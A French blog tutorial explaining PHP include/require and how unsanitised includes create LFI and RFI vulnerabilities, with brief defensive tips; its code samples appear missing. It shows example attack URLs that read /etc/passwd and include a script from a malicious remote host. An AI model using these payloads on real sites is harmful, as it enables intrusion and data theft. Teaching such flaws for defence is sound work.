Bonjour !

Imaginez vous webmaster d’un site. Des dizaines/centaines de pages à gérer et un nombre incalculable de lignes de codes. Mais bien vite vous remarquez une truc : certaines parties de votre site, tel le footer, les menus, les headers, etc se répétent et se répétent dans plusieurs pages.

Forcément, cela allait vite saoûler les programmeurs, qui ont donc inventé..

## Les fonctions d’inclusions :

include() et require() sont les deux fonctions les plus connues pour inclure un fichier extérieur. Vous ne comprenez pas encore le principe ? Voici un exemple

Fichier header.php

Fichier article.php

Lorsque la page article.php sera chargée, le contenu de la page header.php sera tout simplement copier/collé à l’endroit de l’instruction include, ce qui reviendra à ça :

Il suffit de modifier la page header.php pour que toutes les pages du site contenant un header soit modifiées. Cela représente un gain de temps considérable ! Mais comme tout, mal utilisée, cette fonction peut vite devenir une porte d’entrée rêvée pour quelqu’un de mal intentionné.

## Exploiter une faille LFI

Tous les programmeurs sont fainéants, mais certains plus que d’autres. Voici un cas où les fonctions d’inclusions deviennent dangereuses :

Fichier index.php

Ingénieux vous me direz. Il suffit d’appeler http://www.site.fr/index.php?page=article1.php pour charger le fichier article1.php s’affiche, et effectivement oui.

Cependant que se passe t’il si je tente d’afficher http://www.site.fr/index.php?page=/etc/passwd :

Et hop ! Tout le contenu du fichier /etc/passwd s’affiche 🙂

La faille est donc telle : On peut inclure tous les fichiers que l’ont veut, à conditions qu’ils existent sur le serveur et qu’on ai les droits en écriture dessus.

Quand une simple LFI devient une RFI

Par défaut, dans le fichier php.ini, allow_url_include est de base désactivé. Cependant si ce module est activé sur un serveur web, cela permet d’inclure non pas seulement des fichiers provenant du même serveur. Mais de n’importe où sur internet.

Par exemple http://www.site.fr/index.php?page=http://www.siteMalicieux.fr/scriptDangereux.php

Cette faille peut permettre à un attacker d’effectuer plusieurs actions compromettantes telles que :

  • Obtenir le code source des fichiers sur le site
  • Executer des commandes sur le serveurs
  • Performer des attaques XSS (Vol de cookies, sessions, etc..)

## Protéger son site

  • Vérifier qu’on affiche seulement les pages qu’on veut bien afficher
  • Se protéger du Null-Byte
  • Se protéger des Directory-Trasversale

Exemple :

Published by Null

printf("Hello world");

Laisser un commentaire

Hacking/Coding Fr

122 User(s) Online Join Server
  • Amexal
  • √²=Tom_Dee
  • QuantumSheep 马娜
  • Agrumsquaa
  • Ghorkun
  • johnlenon
  • Naikho
  • Notes
  • Acedia Sama
  • AlexLew
  • [XB]❗╲⎝⧹_ X-!-X _⧸⎠╱❗
  • Hughsyy94